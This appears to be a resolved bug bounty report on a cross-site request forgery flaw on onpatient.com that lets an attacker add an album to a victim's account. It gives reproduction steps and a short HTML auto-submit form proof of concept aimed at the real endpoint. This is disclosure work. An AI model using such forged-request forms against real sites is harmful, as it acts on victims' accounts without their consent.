CSRF Add Album On onpatient.com
D
drchrono
Submitted None
Actions:
Reported by
hussain_0x3c
Vulnerability Details
Technical details and impact analysis
**Hi**
I'm Found Bug CSRF It is Possible To Add Album By Attacker on onpatient.com
Steps to verify
----
* . Login as attacker
* . Go to photos and click **add album**
* . rename album for example :- **hacking** .
* . intercept this request add using burp proxy or any other tool (you can see **X-CSRFToken** and **sessionid**) attacker can add request on post without **X-CSRFToken**
* . Create Form HTML Exploit **Add album**
* . Send to **Victim User**
Form Exploitation
---
~~~
<html>
<body>
<form action="https://onpatient.com/photos/add_album/" method="POST">
<input type="hidden" name="name" value="hacking" />
<input type="submit" value="Add album Hacking" />
</form>
</body>
</html>
~~~
**Response** :- {"album": idalbum, "success": true}
**Regards**
**Hussain**
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-Site Request Forgery (CSRF)